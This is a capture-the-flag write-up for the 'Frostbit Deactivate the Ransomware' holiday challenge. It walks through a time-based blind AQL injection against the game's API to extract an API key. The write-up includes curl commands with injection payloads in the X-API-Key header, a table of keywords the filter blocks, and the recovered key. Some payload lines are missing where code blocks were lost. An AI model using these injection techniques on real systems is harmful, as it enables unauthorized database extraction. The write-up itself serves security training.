Frostbit Deactivate the Ransomware¶
Table of Contents¶
- Frostbit Deactivate the Ransomware
Overview¶
The final challenge is to deactivate the release of the naughty and nice list.
It’s very common now for ransomware actors to both threaten victims with not being able to get their files back and having their files leaked publicly.
Objectives¶
Wombley's ransomware server is threatening to publish the Naughty-Nice list. Find a way to deactivate the publication of the Naughty-Nice list by the ransomware server.
Hints¶
Hint 1: Frostbit Publication¶
From: Dusty Giftwrap
Terminal: Deactivate Frostbit Naughty-Nice List Publication
There must be a way to deactivate the ransomware server's data publication. Perhaps one of the other North Pole assets revealed something that could help us find the deactivation path. If so, we might be able to trick the Frostbit infrastructure into revealing more details.
Hint 2: Frostbit Slumber¶
From: Dusty Giftwrap
Terminal: Deactivate Frostbit Naughty-Nice List Publication
The Frostbit author may have mitigated the use of certain characters, verbs, and simple authentication bypasses, leaving us blind in this case. Therefore, we might need to trick the application into responding differently based on our input and measure its response. If we know the underlying technology used for data storage, we can replicate it locally using Docker containers, allowing us to develop and test techniques and payloads with greater insight into how the application functions.
Analysis¶
MQTT Message¶
One of the hints talks about the following:
Frostbit Dev Mode
There's a new ransomware spreading at the North Pole called Frostbit. Its infrastructure looks like code I worked on, but someone modified it to work with the ransomware. If it is our code and they didn't disable dev mode, we might be able to pass extra options to reveal more information. If they are reusing our code or hardware, it might also be broadcasting MQTT messages.
In the previous Santa Vision challenge, there was an MQTT message about the following:
frostbitfeed Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley
It is possible that "some" deactivation may be viable using that endpoint.
API Enumeration¶
Let's use the UUID found during the Decrypt challenge: 09c4dbcb-87dd-4d92-b104-852c60a94f3e
curl http://api.frostbit.app/api/v1/frostbitadmin/bot/09c4dbcb-87dd-4d92-b104-852c60a94f3e/deactivate -L -H "X-API-Key: Wombley" -v
From the Decrypt challenge, we know we can send a debug=1 flag for additional details in the response.
curl http://api.frostbit.app/api/v1/frostbitadmin/bot/09c4dbcb-87dd-4d92-b104-852c60a94f3e/deactivate?debug=1 -L
Injection Analysis¶
The goal is to figure out the API Key to complete the challenge.
We can start with the header attribute as the injection point.
Let's try a traditional SQLi query first:
curl https://api.frostbit.app/api/v1/frostbitadmin/bot/09c4dbcb-87dd-4d92-b104-852c60a94f3e/deactivate?debug=1 -L -H "X-API-Key: ' OR 1=1 --"
{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n <other_query_lines_omitted>\n RETURN doc"}
This does NOT look like a SQL database query.
FOR doc IN config
FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'
<other_query_lines_omitted>
RETURN doc
The database query in the error message indicates that the database in question is likely ArangoDB, a multi-model database. This conclusion is based on the syntax of the query, which includes FOR doc IN <collection> and RETURN doc. These constructs are characteristic of AQL (ArangoDB Query Language).
Web Application Firewall (WAF)¶
The {user_supplied_x_api_key} in the FILTER clause hints at a parameterized query where the input is directly inserted into an AQL query.
Let's test if the X-API-Key header input is directly interpolated into the query without proper sanitization. For example, ' OR 1 == 1 RETURN 1 --
This payload assumes that ArangoDB's AQL syntax is not properly escaped, potentially allowing arbitrary injections:
curl https://api.frostbit.app/api/v1/frostbitadmin/bot/09c4dbcb-87dd-4d92-b104-852c60a94f3e/deactivate?debug=1 -L -H "X-API-Key: ' OR 1 == 1 RETURN 1 --"
The response indicates that the server is performing validation or sanitization on the X-API-Key header, blocking certain types of injection payloads. This could involve a Web Application Firewall (WAF), a custom input validation mechanism, or both. Either way, the key lies in identifying how the validation is applied and finding an injection payload that bypasses it.
Payload Analysis¶
Analyzing responses for different payloads, we can check which high-level operation keywords cause an "Invalid Key" error and which ones cause a "Request Blocked" error.
| Request Blocked |
|---|
| FILTER |
| FOR |
| INSERT |
| LET |
| RETURN |
| UPDATE |
| WITH |
| Invalid Key |
|---|
| AGGREGATE |
| ALL |
| ALL_SHORTEST_PATHS |
| AND |
| ANY |
| ASC |
| COLLECT |
| DESC |
| DISTINCT |
| FALSE |
| GRAPH |
| IN |
| INBOUND |
| INTO |
| K_PATHS |
| K_SHORTEST_PATHS |
| LIKE |
| LIMIT |
| NONE |
| NOT |
| NULL |
| OR |
| OUTBOUND |
| REMOVE |
| REPLACE |
| SEARCH |
| SORT |
| UPSERT |
| WINDOW |
We want to use only the keywords from the "Invalid Key" list.
Injection Type¶
Checking the ArangoDB documentation, the FILTER operation lets you restrict the results to elements that match arbitrary logical conditions
The syntax is:
whereexpression must be a condition that evaluates to either false or true.
Considering the query is expecting the following expression:
we need to provide a value in the header attribute that would cause the== expression to evaluate to true using only the valid keywords above.
From the initial test, we know simple A OR B requests where B is always true do not work.
Looking at the hint, the is an indication that the mitigation measures are "leaving us blind" and that "we might need to trick the application into responding differently based on our input and measure its response".
This points to a "Time-based blind DB query language injection". To confirm this, let's send this value 'OR SLEEP(2) OR ' and check if there is a delay in the response.
curl https://api.frostbit.app/api/v1/frostbitadmin/bot/09c4dbcb-87dd-4d92-b104-852c60a94f3e/deactivate?debug=1 -L -H "X-Api-Key: 'OR SLEEP(2) OR'"
{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n <other_query_lines_omitted>\n RETURN doc"}
We can see the request took 2 seconds to respond. The goal now is to find out how to use this to verify the attribute name, i.e., doc.attributename. Once we have that, we can use the same logic to find the value.
Solution¶
AQL (ArangoDB Query Language) Time-Based Blind Injection¶
The AQL commands to submit will be embedded in the payload before the SLEEP(2), i.e.,
and alternate syntax is the following:- If the command fails, then the request would come back right away.
- If the command succeeds, then the request would take the 2 seconds to return.
Based on the AQL documentation, the commands to submit are described below.
Number of attributes in the view¶
ATTRIBUTES(doc,true)returns an array of all the attributes in the view omitting all system attributes (starting with an underscore, such as_keyand_id)LENGTH(array)returns the number of elements in the array
We want to iterate with i values >= 0 until we find one that takes the 2-second delay:
curl https://api.frostbit.app/api/v1/frostbitadmin/bot/09c4dbcb-87dd-4d92-b104-852c60a94f3e/deactivate?debug=1 -L -H "X-Api-Key: 'OR LENGTH(ATTRIBUTES(doc,true)) == 1 AND SLEEP(2) OR'"
Length of the attribute name¶
j := [0,num_attributes)ATTRIBUTES(doc,true)[j]returns thejth entry of the array, e.g., 0 for the first one.
We want to iterate with i values >= 0 until we find one that takes the 2-second delay:
curl https://api.frostbit.app/api/v1/frostbitadmin/bot/09c4dbcb-87dd-4d92-b104-852c60a94f3e/deactivate?debug=1 -L -H "X-Api-Key: 'OR LENGTH(ATTRIBUTES(doc,true)[0]) == 18 AND SLEEP(2) OR'"
Each letter of the attribute name¶
i := [0,attribute_name_length)char_code := [32,127]- ASCII range for printable characters.SUBSTRING(value, offset, length)returns a substring of value, starting at character in offset (starts at 0), taking length characters.
We want to iterate with char_code values until we find one that takes the 2-second delay:
Length of the attribute value¶
doc.{name}returns the value of the attribute in the view with the given name.
We want to iterate with i values >= 0 until we find one that takes the 2-second delay:
Each letter of the attribute value¶
i := [0,attribute_value_length)char_code := [32,127]- ASCII range for printable characters
We want to iterate with char_code values until we find one that takes the 2-second delay:
Answer¶
After running the aqli_time_based_blind.py Python script, the API Key is:
Let's call the deactivate endpoint with the API Key we found:
curl https://api.frostbit.app/api/v1/frostbitadmin/bot/09c4dbcb-87dd-4d92-b104-852c60a94f3e/deactivate?debug=1 -L -H "X-Api-Key: abe7a6ad-715e-4e6a-901b-c9279a964f91"
{"message":"Response status code: 200, Response body: {\"result\":\"success\",\"rid\":\"09c4dbcb-87dd-4d92-b104-852c60a94f3e\",\"hash\":\"74918ec35b4b35421a1b1d28877c41218624c64208b725c9927b6fa4031003dd\",\"uid\":\"85785\"}\nPOSTED WIN RESULTS FOR RID 09c4dbcb-87dd-4d92-b104-852c60a94f3e","status":"Deactivated"}
Checking the status page shows that the ransomware has been deactivated:

Outro¶
After solving the last challenge, the badge Story tab updates under Act III with this message:
Thank you dear player for bringing peace and order back to the North Pole!
Please talk to Santa in the castle.
The door to the castle is now open. Inside, Santa awaits in the entrance hall used in previous KingleCons.
Santa
I thought the holidays were truly lost this year. I am so thankful you were here to right the wrongs of my misguided elves. I will ensure they never jeopardize the holidays again. This is the kind of behavior I expect from Jack Frost and his Trolls, not the elves.
But, I suppose I have fault in this as well, since it’s the first time I’ve been away at the start of the season, and after last year’s unconventional holidays.
Plus, I didn’t inform the elves ahead of time. Quite the lesson learned on my part. Even the best of us can always improve.
I know each faction had the best interest of the holidays at heart, even if their methods were misguided. It’s important to have empathy and forgiveness, especially during the holidays.
After all, the greatest gift we give AND receive is time spent with loved ones. Never forget that!
Now let’s put all this behind us and be merry. Until next year! Happy Holidays!
Files¶
| File | Description |
|---|---|
aqli_time_based_blind.py |
AQL time-based blind injection script to extract the API key |
References¶
ctf-techniques/web/sqli/— time-based blind injection technique reference- ArangoDB documentation — AQL query language reference
- ArangoDB SLEEP function — used in the time-based blind injection payload
- ArangoDB ATTRIBUTES function — used to enumerate document attributes
- OWASP — Blind SQL Injection
Navigation¶
| ← Frostbit Decrypt the Naughty-Nice List |